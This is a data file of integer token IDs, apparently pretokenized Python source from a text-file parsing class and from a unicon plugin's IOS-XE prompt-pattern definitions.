13,
13,
4706,
1881,
1445,
29889,
5358,
580,
13,
13,
1678,
822,
731,
29918,
6144,
13083,
414,
29898,
1311,
29892,
28552,
1125,
13,
4706,
364,
15945,
29908,
13,
4706,
3789,
278,
628,
13083,
414,
393,
526,
1304,
304,
12439,
1746,
24371,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
28552,
584,
851,
13,
9651,
319,
1347,
6943,
4890,
304,
367,
1304,
408,
628,
13083,
414,
29889,
450,
13,
9651,
2322,
995,
338,
525,
320,
29873,
742,
607,
2794,
393,
8162,
322,
18859,
526,
451,
13,
9651,
4586,
408,
848,
541,
2012,
2791,
278,
24371,
29889,
3940,
393,
278,
13,
9651,
13812,
338,
15040,
3307,
304,
18720,
4890,
2629,
11839,
408,
13,
9651,
1661,
29899,
6144,
13083,
414,
29889,
13,
4706,
9995,
13,
4706,
1583,
3032,
6144,
19657,
353,
28552,
13,
13,
4706,
565,
28552,
2804,
376,
13099,
1115,
13,
9651,
1459,
643,
2642,
29889,
842,
4592,
8809,
3246,
3535,
1451,
1503,
29898,
710,
29898,
6144,
19657,
876,
13,
13,
4706,
1583,
3032,
12071,
29918,
517,
12360,
580,
13,
13,
1678,
822,
2791,
29918,
25367,
29898,
1311,
29892,
17360,
29892,
27170,
29922,
29896,
1125,
13,
4706,
9995,
13,
4706,
4485,
278,
4423,
310,
263,
2982,
3502,
29892,
607,
16869,
366,
8453,
848,
491,
6198,
2602,
29889,
13,
13,
4706,
3940,
393,
263,
6375,
2740,
16410,
472,
278,
2030,
17360,
4423,
29889,
960,
366,
864,
304,
10715,
13,
4706,
278,
2740,
363,
278,
17360,
472,
278,
934,
6763,
29892,
769,
1246,
4954,
12071,
29918,
25367,
2555,
29952,
1434,
13,
4706,
4954,
3502,
29918,
25367,
29952,
1412,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
17360,
584,
851,
13,
9651,
450,
1426,
366,
864,
304,
2740,
363,
29889,
13,
4706,
27170,
584,
938,
13,
9651,
10987,
302,
386,
2777,
310,
1426,
29936,
2322,
338,
29871,
29896,
313,
4102,
467,
4803,
448,
29896,
304,
13,
9651,
1284,
1833,
27170,
29889,
830,
3901,
29645,
2337,
1369,
472,
278,
1095,
13,
9651,
310,
278,
934,
694,
4383,
278,
2106,
310,
738,
3517,
17360,
29889,
13,
4706,
9995,
13,
4706,
565,
451,
338,
8758,
29898,
15693,
26841,
29892,
938,
1125,
13,
9651,
12020,
7865,
2392,
703,
1576,
995,
363,
27170,
1818,
367,
385,
6043,
1159,
13,
13,
4706,
2777,
353,
29871,
29900,
13,
13,
4706,
565,
27170,
1405,
29871,
29900,
29901,
13,
9651,
2302,
353,
29871,
29900,
13,
9651,
4236,
29918,
9012,
353,
7431,
29898,
1311,
3032,
1272,
29897,
13,
9651,
363,
2380,
297,
3464,
29898,
1311,
3032,
3784,
29918,
798,
29892,
4236,
29918,
9012,
1125,
13,
18884,
1196,
353,
1583,
3032,
1272,
29961,
2248,
29962,
13,
13,
18884,
396,
960,
591,
526,
2791,
292,
263,
716,
17360,
515,
385,
5923,
17360,
29892,
322,
13,
18884,
396,
278,
17360,
338,
7145,
29899,
1220,
29892,
769,
591,
1603,
2740,
278,
1196,
29892,
541,
13,
18884,
396,
871,
1156,
278,
17360,
29889,
13,
18884,
565,
2302,
1275,
29871,
29900,
322,
1583,
3032,
14588,
4395,
29901,
13,
462,
1678,
1196,
353,
1196,
29889,
5451,
29898,
25367,
9601,
29899,
29896,
29962,
13,
13,
18884,
565,
17360,
297,
1196,
29901,
13,
13,
462,
1678,
2777,
4619,
29871,
29896,
13,
462,
1678,
565,
2777,
1275,
27170,
29901,
13,
462,
4706,
1583,
3032,
3784,
29918,
798,
4619,
2302,
13,
462,
4706,
1583,
3032,
14588,
4395,
353,
5852,
13,
462,
4706,
736,
13,
13,
18884,
2302,
4619,
29871,
29896,
13,
13,
4706,
25342,
27170,
529,
29871,
29900,
29901,
13,
9651,
4236,
29918,
9012,
353,
7431,
29898,
1311,
3032,
1272,
29897,
448,
29871,
29896,
13,
9651,
2302,
353,
4236,
29918,
9012,
13,
9651,
363,
2380,
297,
3464,
29898,
3317,
29918,
9012,
29892,
448,
29896,
29892,
448,
29896,
1125,
13,
18884,
1196,
353,
1583,
3032,
1272,
29961,
2248,
29962,
13,
13,
18884,
396,
960,
591,
526,
2791,
292,
263,
716,
17360,
515,
385,
5923,
17360,
29892,
322,
13,
18884,
396,
278,
17360,
338,
7145,
29899,
1220,
29892,
769,
591,
1603,
2740,
278,
1196,
29892,
541,
13,
18884,
396,
871,
1434,
278,
17360,
29889,
13,
18884,
565,
2302,
1275,
4236,
29918,
9012,
322,
1583,
3032,
14588,
4395,
29901,
13,
462,
1678,
1196,
353,
1196,
29889,
5451,
29898,
25367,
9601,
29900,
29962,
13,
13,
18884,
565,
17360,
297,
1196,
29901,
13,
462,
1678,
2777,
4619,
448,
29896,
13,
462,
1678,
565,
2777,
1275,
27170,
29901,
13,
462,
4706,
1583,
3032,
3784,
29918,
798,
353,
2302,
13,
462,
4706,
1583,
3032,
14588,
4395,
353,
5852,
13,
462,
4706,
736,
13,
13,
18884,
2302,
22361,
29871,
29896,
13,
4706,
1683,
29901,
13,
9651,
12020,
7865,
2392,
703,
29900,
338,
451,
2854,
363,
385,
17360,
27170,
23157,
13,
13,
4706,
12020,
24875,
2392,
703,
23323,
451,
1284,
4766,
1273,
29879,
297,
1962,
934,
1273,
29879,
29908,
1273,
13,
462,
965,
313,
25367,
29892,
1583,
3032,
9507,
876,
13,
13,
1678,
822,
10092,
29918,
25367,
29898,
1311,
1125,
13,
4706,
9995,
13,
4706,
2538,
300,
17360,
304,
278,
6763,
310,
278,
934,
29889,
13,
4706,
9995,
13,
4706,
1583,
3032,
3784,
29918,
798,
353,
29871,
29900,
13,
4706,
1583,
3032,
14588,
4395,
353,
7700,
13,
13,
1678,
822,
6782,
29918,
1220,
29898,
1311,
29892,
1948,
1125,
13,
4706,
9995,
13,
4706,
7106,
385,
4152,
1196,
29892,
6198,
304,
1857,
17360,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
1948,
584,
938,
13,
9651,
9681,
310,
3454,
9210,
515,
17360,
1196,
313,
29900,
338,
17360,
1196,
467,
13,
9651,
910,
508,
367,
8178,
29889,
13,
13,
4706,
16969,
13,
4706,
448,
22158,
13,
4706,
1347,
13,
9651,
7407,
472,
278,
4423,
13877,
29889,
13,
4706,
9995,
13,
4706,
736,
1583,
3032,
1272,
29961,
1311,
3032,
3784,
29918,
798,
718,
1948,
1822,
29878,
17010,
580,
13,
13,
1678,
822,
6782,
29918,
1707,
29898,
1311,
29892,
1948,
29892,
1746,
29892,
1746,
355,
29922,
8516,
1125,
13,
4706,
9995,
13,
4706,
3617,
263,
2323,
2286,
6198,
304,
278,
1857,
17360,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
1948,
584,
938,
13,
9651,
9681,
310,
3454,
9210,
515,
17360,
1196,
313,
29900,
338,
17360,
1196,
467,
13,
9651,
910,
508,
367,
8178,
29889,
13,
4706,
1746,
584,
938,
13,
9651,
960,
278,
28552,
338,
263,
731,
310,
22524,
29901,
607,
1734,
297,
1196,
304,
10563,
29889,
13,
9651,
960,
278,
28552,
338,
525,
13099,
2396,
2931,
2602,
304,
1369,
29889,
13,
4706,
1746,
355,
584,
938,
313,
25253,
29897,
13,
9651,
960,
278,
28552,
338,
263,
731,
310,
22524,
29901,
306,
29954,
6632,
19386,
29889,
13,
9651,
960,
278,
28552,
338,
525,
13099,
2396,
2602,
310,
1833,
2931,
304,
736,
29892,
470,
565,
13,
9651,
25811,
29892,
278,
1095,
310,
278,
1196,
338,
1304,
29889,
13,
13,
4706,
16969,
13,
4706,
448,
22158,
13,
4706,
1347,
13,
9651,
3630,
515,
278,
13877,
4423,
297,
278,
934,
29889,
13,
4706,
9995,
13,
4706,
432,
353,
1583,
3032,
3784,
29918,
798,
718,
1948,
13,
13,
4706,
1196,
353,
1583,
3032,
1272,
29961,
29926,
29962,
13,
13,
4706,
565,
1583,
3032,
6144,
19657,
1275,
376,
13099,
1115,
13,
9651,
565,
451,
1746,
355,
29901,
13,
18884,
1196,
353,
1196,
15625,
2671,
448,
29871,
29896,
1125,
29962,
13,
9651,
1683,
29901,
13,
18884,
1196,
353,
1196,
15625,
2671,
448,
29871,
29896,
1125,
29898,
2671,
355,
4638,
13,
13,
9651,
396,
2803,
11451,
862,
2976,
4377,
714,
565,
445,
338,
263,
1353,
29892,
322,
736,
372,
13,
9651,
396,
408,
263,
5785,
470,
938,
408,
8210,
13,
9651,
848,
353,
1583,
3032,
5510,
29918,
1220,
2141,
5510,
1231,
29898,
1220,
29897,
13,
13,
9651,
396,
848,
1795,
505,
1063,
6219,
565,
372,
3743,
24358,
29889,
960,
577,
29892,
13,
9651,
396,
925,
736,
278,
3353,
1347,
13,
9651,
565,
7431,
29898,
1272,
29897,
1405,
29871,
29896,
29901,
13,
18884,
736,
1196,
13,
9651,
1683,
29901,
13,
18884,
736,
848,
29961,
29900,
29962,
13,
4706,
1683,
29901,
13,
9651,
848,
353,
1583,
3032,
5510,
29918,
1220,
2141,
5510,
1231,
29898,
1220,
29897,
13,
9651,
736,
848,
29961,
2671,
448,
29871,
29896,
29962,
13,
13,
1678,
822,
6782,
29918,
1989,
1707,
29898,
1311,
29892,
1820,
29892,
1746,
29892,
27170,
29922,
29896,
29892,
696,
827,
600,
842,
29922,
29900,
1125,
13,
4706,
9995,
13,
4706,
11856,
363,
263,
1820,
6198,
304,
278,
1857,
17360,
322,
679,
263,
1746,
515,
393,
1196,
29889,
13,
13,
4706,
887,
508,
437,
278,
1021,
2655,
411,
263,
1246,
304,
4954,
3502,
29918,
25367,
16159,
322,
4954,
3286,
571,
29918,
1707,
29952,
1412,
13,
4706,
910,
740,
925,
4145,
1475,
963,
363,
29703,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
1820,
584,
851,
13,
9651,
450,
1820,
304,
2740,
363,
29889,
13,
4706,
1746,
584,
938,
13,
9651,
8449,
1746,
304,
6782,
29889,
8989,
29871,
29900,
338,
278,
1820,
29889,
13,
4706,
27170,
584,
938,
13,
9651,
10987,
302,
386,
2777,
310,
1426,
29936,
2322,
338,
29871,
29896,
313,
4102,
995,
13,
9651,
1746,
467,
4803,
448,
29896,
304,
1284,
1833,
6403,
749,
29889,
20627,
29871,
29900,
338,
278,
1820,
13,
9651,
1746,
29892,
577,
372,
881,
451,
367,
1304,
408,
263,
995,
363,
27170,
29889,
13,
4706,
696,
827,
600,
842,
584,
938,
313,
25253,
29897,
13,
9651,
28379,
1948,
9210,
515,
278,
27170,
310,
1820,
29889,
910,
508,
13,
9651,
884,
367,
8178,
29889,
13,
13,
4706,
16969,
13,
4706,
448,
22158,
13,
4706,
1347,
13,
9651,
3630,
515,
278,
13877,
4423,
297,
278,
934,
29889,
13,
4706,
9995,
13,
4706,
565,
451,
338,
8758,
29898,
15693,
26841,
29892,
938,
29897,
470,
27170,
1275,
29871,
29900,
29901,
13,
9651,
10191,
353,
376,
1576,
995,
363,
27170,
1818,
367,
263,
1661,
9171,
6043,
29908,
13,
9651,
12020,
7865,
2392,
29898,
7645,
29897,
13,
13,
4706,
2777,
353,
29871,
29900,
13,
4706,
565,
27170,
1405,
29871,
29900,
29901,
13,
9651,
1948,
353,
29871,
29900,
13,
9651,
363,
1196,
297,
1583,
3032,
1272,
29961,
1311,
3032,
3784,
29918,
798,
29901,
5387,
13,
18884,
565,
1196,
29889,
2886,
29898,
1989,
29897,
1405,
448,
29896,
29901,
13,
462,
1678,
2777,
4619,
29871,
29896,
13,
462,
1678,
565,
2777,
1275,
27170,
29901,
13,
462,
4706,
2867,
13,
18884,
1948,
4619,
29871,
29896,
13,
13,
4706,
25342,
27170,
529,
29871,
29900,
29901,
13,
9651,
1948,
353,
448,
29896,
13,
9651,
363,
1196,
297,
18764,
287,
29898,
1311,
3032,
1272,
29961,
1311,
3032,
3784,
29918,
798,
17531,
1125,
13,
18884,
565,
1196,
29889,
2886,
29898,
1989,
29897,
1405,
448,
29896,
29901,
13,
462,
1678,
2777,
4619,
448,
29896,
13,
462,
1678,
565,
2777,
1275,
27170,
29901,
13,
462,
4706,
2867,
13,
18884,
1948,
22361,
29871,
29896,
13,
13,
4706,
432,
353,
1583,
3032,
3784,
29918,
798,
718,
1948,
718,
696,
827,
600,
842,
13,
4706,
1196,
353,
1583,
3032,
1272,
29961,
29926,
29962,
13,
13,
4706,
4235,
353,
1583,
3032,
5510,
29918,
1220,
2141,
5510,
1231,
29898,
1220,
29889,
6506,
29898,
1989,
29892,
376,
2558,
3073,
5783,
13,
13,
4706,
736,
4235,
29961,
2671,
29962,
13,
13,
1678,
822,
6782,
29918,
2378,
29898,
1311,
29892,
1948,
2962,
29892,
1746,
2962,
29892,
1948,
355,
29922,
8516,
29892,
1746,
355,
29922,
8516,
1125,
13,
4706,
9995,
13,
4706,
3617,
385,
1409,
310,
3651,
6198,
304,
278,
1857,
17360,
29889,
13,
13,
4706,
21605,
278,
28552,
304,
525,
13099,
29915,
560,
293,
1169,
777,
4266,
6030,
13,
4706,
515,
445,
1158,
29889,
5655,
635,
29892,
278,
4805,
428,
1889,
11463,
567,
2820,
13,
4706,
472,
278,
1095,
310,
263,
1196,
322,
18172,
2646,
1327,
292,
1269,
1746,
472,
278,
1369,
310,
13,
4706,
263,
25899,
29889,
1932,
278,
28552,
338,
731,
304,
4341,
29892,
278,
4128,
13,
4706,
313,
798,
2962,
29892,
1746,
2962,
29892,
1948,
355,
29892,
1746,
355,
29897,
1261,
935,
263,
3800,
29892,
322,
599,
13,
4706,
1819,
297,
393,
3800,
526,
27387,
29889,
3940,
393,
3918,
24358,
13,
4706,
338,
278,
16723,
28552,
297,
445,
1206,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
1948,
2962,
584,
938,
13,
9651,
11438,
1353,
304,
1369,
29892,
6198,
304,
278,
1857,
17360,
29889,
13,
4706,
1746,
2962,
584,
938,
13,
9651,
8989,
1353,
304,
1369,
29889,
13,
4706,
1948,
355,
584,
938,
29892,
13136,
13,
9651,
11438,
1353,
304,
1095,
29889,
960,
451,
731,
29892,
769,
871,
697,
1948,
338,
2646,
1327,
287,
29889,
13,
4706,
1746,
355,
584,
938,
13,
9651,
8989,
1353,
304,
1095,
29889,
13,
13,
4706,
16969,
13,
4706,
448,
22158,
13,
4706,
1347,
13,
9651,
3630,
515,
278,
13877,
4423,
297,
278,
934,
29889,
13,
4706,
9995,
13,
4706,
432,
29896,
353,
1583,
3032,
3784,
29918,
798,
718,
1948,
2962,
13,
13,
4706,
565,
1948,
355,
338,
6213,
29901,
13,
9651,
432,
29906,
353,
432,
29896,
718,
29871,
29896,
13,
4706,
1683,
29901,
13,
9651,
432,
29906,
353,
1583,
3032,
3784,
29918,
798,
718,
1948,
355,
718,
29871,
29896,
13,
13,
4706,
565,
451,
1746,
355,
29901,
13,
9651,
12020,
7865,
2392,
703,
2671,
355,
338,
4567,
29892,
5279,
3734,
1159,
13,
13,
4706,
3454,
353,
1583,
3032,
1272,
29961,
29926,
29896,
29901,
29926,
29906,
29962,
13,
13,
4706,
848,
353,
7442,
29889,
3298,
359,
29898,
12181,
7607,
29900,
29892,
29871,
29900,
876,
13,
13,
4706,
363,
474,
29892,
1196,
297,
26985,
29898,
9012,
1125,
13,
9651,
565,
1583,
3032,
6144,
19657,
1275,
376,
13099,
1115,
13,
18884,
1196,
353,
1196,
15625,
2671,
2962,
448,
29871,
29896,
1125,
2671,
355,
29962,
13,
13,
18884,
396,
624,
374,
3262,
24358,
1122,
367,
19341,
616,
29889,
13,
18884,
1196,
353,
1196,
29889,
17010,
580,
13,
13,
18884,
396,
2803,
11451,
862,
2976,
4377,
714,
565,
445,
338,
263,
1353,
29892,
322,
736,
372,
13,
18884,
396,
408,
263,
5785,
470,
938,
408,
8210,
13,
18884,
21213,
353,
1583,
3032,
5510,
29918,
1220,
2141,
5510,
1231,
29898,
1220,
29897,
13,
13,
18884,
716,
1272,
353,
7442,
29889,
2378,
29898,
862,
8485,
7503,
2314,
13,
18884,
396,
848,
1795,
505,
1063,
6219,
565,
372,
3743,
24358,
29889,
960,
278,
13,
18884,
396,
848,
338,
1347,
29892,
591,
3117,
3282,
29915,
29873,
864,
445,
29889,
13,
18884,
565,
716,
1272,
29889,
29881,
1853,
29889,
1853,
338,
7442,
29889,
710,
29918,
29901,
13,
462,
1678,
716,
1272,
353,
7442,
29889,
2378,
29898,
1220,
29897,
13,
13,
18884,
848,
353,
7442,
29889,
4397,
29898,
1272,
29892,
716,
1272,
29897,
13,
9651,
1683,
29901,
13,
18884,
21213,
353,
1583,
3032,
5510,
29918,
1220,
2141,
5510,
1231,
29898,
1220,
29897,
13,
13,
18884,
565,
474,
1275,
432,
29906,
448,
432,
29896,
448,
29871,
29896,
29901,
13,
462,
1678,
848,
353,
7442,
29889,
4397,
29898,
1272,
29892,
7442,
29889,
2378,
29898,
862,
8485,
15625,
2671,
2962,
448,
29871,
29896,
1125,
2671,
355,
12622,
13,
18884,
1683,
29901,
13,
462,
1678,
848,
353,
7442,
29889,
4397,
29898,
1272,
29892,
7442,
29889,
2378,
29898,
862,
8485,
15625,
2671,
2962,
448,
29871,
29896,
1125,
12622,
13,
13,
18884,
1746,
2962,
353,
29871,
29896,
13,
13,
4706,
736,
848,
13,
13,
1678,
822,
6782,
29918,
29906,
29928,
2378,
29898,
1311,
29892,
1948,
2962,
29892,
1746,
2962,
29892,
1948,
355,
29892,
1746,
355,
29922,
8516,
1125,
13,
4706,
9995,
13,
4706,
3617,
263,
29871,
29906,
29928,
1409,
310,
3651,
6198,
304,
278,
1857,
17360,
29889,
13,
13,
4706,
7806,
1196,
310,
848,
338,
7180,
297,
263,
5004,
1948,
29889,
13,
13,
4706,
960,
278,
28552,
338,
731,
304,
525,
13099,
742,
769,
278,
1819,
11122,
297,
13,
4706,
1746,
2962,
322,
1746,
355,
881,
367,
278,
1897,
1353,
2012,
310,
278,
13,
4706,
1746,
1353,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
1948,
2962,
584,
938,
13,
9651,
11438,
1353,
304,
1369,
29892,
6198,
304,
278,
1857,
17360,
29889,
13,
4706,
1746,
2962,
584,
938,
13,
9651,
8989,
1353,
304,
1369,
29889,
13,
4706,
1948,
355,
584,
938,
13,
9651,
11438,
1353,
304,
1095,
6198,
304,
1857,
17360,
29889,
13,
4706,
1746,
355,
584,
938,
313,
25253,
29897,
13,
9651,
8989,
1353,
304,
1095,
29889,
960,
451,
6790,
29892,
2646,
5824,
599,
4235,
701,
304,
278,
13,
9651,
1095,
310,
278,
1196,
29889,
13,
13,
4706,
16969,
13,
4706,
448,
22158,
13,
4706,
1347,
13,
9651,
3630,
515,
278,
13877,
4423,
297,
278,
934,
29889,
13,
4706,
9995,
13,
4706,
565,
1746,
355,
322,
313,
2671,
2962,
1405,
1746,
355,
1125,
13,
9651,
10191,
353,
376,
2671,
355,
1818,
367,
7621,
1135,
1746,
2962,
29908,
13,
9651,
12020,
7865,
2392,
29898,
7645,
29897,
13,
13,
4706,
565,
1948,
2962,
1405,
1948,
355,
29901,
13,
9651,
10191,
353,
376,
798,
355,
1818,
367,
7621,
1135,
1948,
2962,
29908,
13,
9651,
12020,
7865,
2392,
29898,
7645,
29897,
13,
13,
4706,
432,
29896,
353,
1583,
3032,
3784,
29918,
798,
718,
1948,
2962,
13,
4706,
432,
29906,
353,
1583,
3032,
3784,
29918,
798,
718,
1948,
355,
718,
29871,
29896,
13,
4706,
3454,
353,
1051,
29898,
1311,
3032,
1272,
29961,
29926,
29896,
29901,
29926,
29906,
2314,
13,
13,
4706,
565,
1583,
3032,
6144,
19657,
1275,
376,
13099,
1115,
13,
9651,
565,
1746,
355,
29901,
13,
18884,
1196,
353,
3454,
29961,
29900,
3816,
29898,
2671,
2962,
448,
29871,
29896,
1125,
2671,
355,
29962,
13,
9651,
1683,
29901,
13,
18884,
1196,
353,
3454,
29961,
29900,
3816,
29898,
2671,
2962,
448,
29871,
29896,
1125,
29962,
13,
13,
9651,
21213,
353,
1583,
3032,
5510,
29918,
1220,
2141,
5510,
1231,
29898,
1220,
29897,
13,
9651,
1948,
353,
7442,
29889,
2378,
29898,
862,
8485,
7503,
2314,
13,
9651,
848,
353,
7442,
29889,
3298,
359,
29898,
12181,
7607,
6897,
29898,
29926,
29906,
448,
432,
29896,
511,
7431,
29898,
798,
4961,
13,
9651,
848,
29961,
29900,
29892,
584,
29962,
353,
1948,
13,
13,
9651,
363,
474,
29892,
1196,
297,
26985,
29898,
1761,
29898,
9012,
29961,
29896,
29901,
12622,
29901,
13,
18884,
565,
1746,
355,
29901,
13,
462,
1678,
1196,
353,
1196,
15625,
2671,
2962,
448,
29871,
29896,
1125,
2671,
355,
29962,
13,
18884,
1683,
29901,
13,
462,
1678,
1196,
353,
1196,
15625,
2671,
2962,
448,
29871,
29896,
1125,
29962,
13,
13,
18884,
21213,
353,
1583,
3032,
5510,
29918,
1220,
2141,
5510,
1231,
29898,
1220,
29897,
13,
18884,
848,
29961,
29875,
718,
29871,
29896,
29892,
584,
29962,
353,
7442,
29889,
2378,
29898,
862,
8485,
7503,
2314,
13,
4706,
1683,
29901,
13,
9651,
21213,
353,
1583,
3032,
5510,
29918,
1220,
2141,
5510,
1231,
29898,
9012,
29961,
29900,
2314,
13,
9651,
565,
1746,
355,
29901,
13,
18884,
1948,
353,
7442,
29889,
2378,
29898,
862,
8485,
15625,
2671,
2962,
448,
29871,
29896,
1125,
2671,
355,
2314,
13,
9651,
1683,
29901,
13,
18884,
1948,
353,
7442,
29889,
2378,
29898,
862,
8485,
15625,
2671,
2962,
448,
29871,
29896,
1125,
2314,
13,
13,
9651,
848,
353,
7442,
29889,
3298,
359,
29898,
12181,
7607,
6897,
29898,
29926,
29906,
448,
432,
29896,
511,
7431,
29898,
798,
4961,
13,
9651,
848,
29961,
29900,
29892,
584,
29962,
353,
1948,
13,
13,
9651,
363,
474,
29892,
1196,
297,
26985,
29898,
1761,
29898,
9012,
29961,
29896,
29901,
12622,
29901,
13,
18884,
21213,
353,
1583,
3032,
5510,
29918,
1220,
2141,
5510,
1231,
29898,
1220,
29897,
13,
13,
18884,
565,
1746,
355,
29901,
13,
462,
1678,
1018,
29901,
13,
462,
4706,
848,
29961,
29875,
718,
29871,
29896,
29892,
584,
29962,
353,
7442,
29889,
2378,
29898,
862,
8485,
15625,
2671,
2962,
448,
29871,
29896,
1125,
2671,
355,
2314,
13,
462,
1678,
5174,
8960,
29901,
13,
462,
4706,
1596,
29898,
1272,
29897,
13,
18884,
1683,
29901,
13,
462,
1678,
848,
29961,
29875,
718,
29871,
29896,
29892,
584,
29962,
353,
7442,
29889,
2378,
29898,
862,
8485,
15625,
2671,
2962,
448,
29871,
29896,
1125,
2314,
13,
13,
4706,
736,
848,
13,
13,
1678,
822,
903,
5510,
29918,
1220,
29898,
1311,
1125,
13,
4706,
9995,
13,
4706,
20969,
263,
2323,
848,
1196,
393,
1122,
1712,
1347,
470,
16259,
848,
29889,
13,
13,
4706,
27842,
322,
3159,
525,
9303,
29915,
526,
11543,
304,
1009,
8210,
1134,
29889,
13,
4706,
1222,
3296,
11685,
338,
6969,
29892,
408,
526,
18780,
322,
9969,
29889,
13,
13,
4706,
16969,
13,
4706,
448,
22158,
13,
4706,
529,
11726,
2642,
29958,
13,
9651,
278,
21213,
1196,
29889,
13,
4706,
9995,
13,
4706,
736,
1583,
29889,
1220,
29918,
5510,
29918,
6979,
13,
13,
1678,
822,
903,
12071,
29918,
517,
12360,
29898,
1311,
1125,
13,
4706,
9995,
13,
4706,
3789,
701,
278,
18897,
363,
11451,
862,
2976,
29889,
13,
4706,
9995,
13,
4706,
396,
3834,
5816,
310,
263,
15833,
29892,
541,
591,
508,
871,
671,
1596,
1849,
565,
278,
28552,
338,
13,
4706,
396,
925,
24358,
29889,
13466,
29892,
777,
409,
558,
4097,
313,
4561,
525,
5501,
470,
525,
29922,
1495,
19998,
13,
4706,
396,
679,
21213,
964,
278,
2498,
1347,
1426,
29889,
1105,
29892,
565,
591,
505,
1661,
24358,
13,
4706,
396,
628,
13083,
414,
29892,
591,
817,
304,
6416,
1250,
304,
925,
394,
16711,
6762,
29892,
322,
769,
788,
297,
738,
13,
4706,
396,
4567,
541,
4100,
15072,
304,
6088,
29889,
13,
4706,
565,
1583,
3032,
6144,
19657,
29889,
790,
3535,
7295,
13,
9651,
1426,
305,
1503,
353,
1596,
1849,
13,
4706,
1683,
29901,
13,
9651,
1426,
305,
1503,
353,
394,
16711,
6762,
13,
13,
9651,
15072,
353,
518,
4286,
742,
8207,
742,
525,
29974,
742,
525,
29930,
742,
525,
29985,
742,
525,
29317,
25710,
742,
525,
29961,
742,
525,
29962,
742,
525,
29922,
742,
13,
462,
539,
525,
29901,
742,
21921,
742,
525,
29973,
742,
14210,
742,
525,
29987,
742,
525,
29991,
742,
16321,
742,
525,
29989,
742,
12801,
742,
525,
29958,
742,
13,
462,
539,
22372,
742,
525,
29913,
742,
17411,
742,
22868,
742,
18803,
742,
14180,
742,
525,
30022,
2033,
13,
13,
9651,
363,
5829,
297,
15072,
29901,
13,
18884,
565,
5829,
451,
297,
1583,
3032,
6144,
19657,
29901,
13,
462,
1678,
1426,
305,
1503,
353,
1426,
305,
1503,
718,
5829,
13,
13,
4706,
13340,
353,
10803,
29898,
1949,
29879,
29897,
13,
4706,
8329,
353,
376,
1213,
13,
4706,
1804,
353,
697,
2776,
703,
29974,
448,
1159,
13,
4706,
321,
29872,
353,
6960,
6393,
24938,
284,
877,
29923,
1495,
891,
6960,
6393,
24938,
284,
877,
29928,
1495,
13,
13,
4706,
954,
29918,
524,
353,
903,
1762,
7798,
29898,
1523,
26062,
29898,
27636,
29898,
4530,
29897,
718,
13340,
876,
13,
13,
4706,
954,
29918,
7411,
353,
903,
1762,
11031,
29898,
1523,
26062,
29898,
13,
9651,
28379,
29898,
4530,
29897,
718,
13,
9651,
5135,
7501,
1169,
718,
8329,
718,
28379,
29898,
7501,
1169,
876,
891,
313,
6333,
718,
13340,
876,
718,
13,
9651,
28379,
29898,
3905,
718,
28379,
29898,
4530,
29897,
718,
13340,
29897,
13,
308,
876,
13,
13,
4706,
396,
4266,
1206,
363,
263,
5785,
3971,
763,
376,
29941,
29872,
29945,
29908,
13,
4706,
12849,
29918,
4548,
353,
903,
1762,
11031,
29898,
1523,
26062,
29898,
7501,
1169,
718,
321,
29872,
718,
28379,
29898,
4530,
29897,
718,
13340,
876,
13,
13,
4706,
23432,
353,
9423,
1762,
25433,
29898,
650,
2776,
703,
25433,
448,
25433,
5783,
891,
13,
1669,
903,
1762,
29940,
273,
29898,
650,
2776,
703,
19377,
23432,
18780,
29995,
29871,
18780,
29984,
4465,
3059,
3855,
19377,
269,
19377,
29871,
29896,
29889,
29937,
19296,
2190,
29871,
29896,
29889,
29937,
29984,
29940,
2190,
448,
29896,
29889,
29937,
22255,
29908,
4961,
13,
13,
4706,
1347,
29918,
726,
353,
10803,
29898,
726,
305,
1503,
29897,
13,
13,
4706,
1583,
29889,
1220,
29918,
5510,
29918,
6979,
353,
313,
6716,
2816,
20761,
3552,
13707,
891,
954,
29918,
7411,
891,
12849,
29918,
4548,
891,
954,
29918,
524,
891,
1347,
29918,
726,
4961,
13,
2
] |
src/unicon/plugins/iosxe/quad/patterns.py | TestingBytes/unicon.plugins | 18 | 123639 | """ IOS-XE Quad Patterns """
from unicon.plugins.iosxe.patterns import IosXEPatterns
class IosXEQuadPatterns(IosXEPatterns):
def __init__(self):
super().__init__()
self.rpr_state = r'RPR Mode: Remote supervisor is already active'
self.unlock_state = r'RPR Mode: Remote Supervisor is no longer active'
self.autoboot =r'Preparing to autoboot.+\[Press Ctrl-C to interrupt\]'
self.ica = r'RPR Mode:.+Will boot as in-chassis active'
self.proceed_switchover = r'^.*Proceed with switchover to standby RP\? \[confirm\]'
| [
1,
9995,
306,
3267,
29899,
29990,
29923,
751,
328,
25860,
29879,
9995,
13,
3166,
443,
4144,
29889,
12800,
29889,
2363,
17115,
29889,
11037,
29879,
1053,
306,
359,
29990,
29923,
17144,
29879,
13,
13,
13,
1990,
306,
359,
29990,
29923,
2182,
328,
17144,
29879,
29898,
29902,
359,
29990,
29923,
17144,
29879,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
1125,
13,
4706,
2428,
2141,
1649,
2344,
1649,
580,
13,
13,
4706,
1583,
29889,
29878,
558,
29918,
3859,
353,
364,
29915,
29934,
10593,
21864,
29901,
5240,
866,
2428,
19188,
338,
2307,
6136,
29915,
13,
4706,
1583,
29889,
348,
908,
29918,
3859,
353,
364,
29915,
29934,
10593,
21864,
29901,
5240,
866,
5670,
19188,
338,
694,
5520,
6136,
29915,
13,
4706,
1583,
29889,
1300,
711,
3155,
353,
29878,
29915,
6572,
862,
292,
304,
1120,
711,
3155,
29889,
3124,
29961,
10923,
315,
11742,
29899,
29907,
304,
23754,
18899,
29915,
13,
4706,
1583,
29889,
983,
353,
364,
29915,
29934,
10593,
21864,
29901,
29889,
29974,
12984,
6579,
408,
297,
29899,
305,
465,
275,
6136,
29915,
13,
4706,
1583,
29889,
771,
3947,
29918,
15123,
957,
353,
364,
29915,
29985,
5575,
1184,
3947,
411,
4607,
957,
304,
2317,
1609,
390,
29925,
29905,
29973,
5539,
26897,
18899,
29915,
13,
2
] |
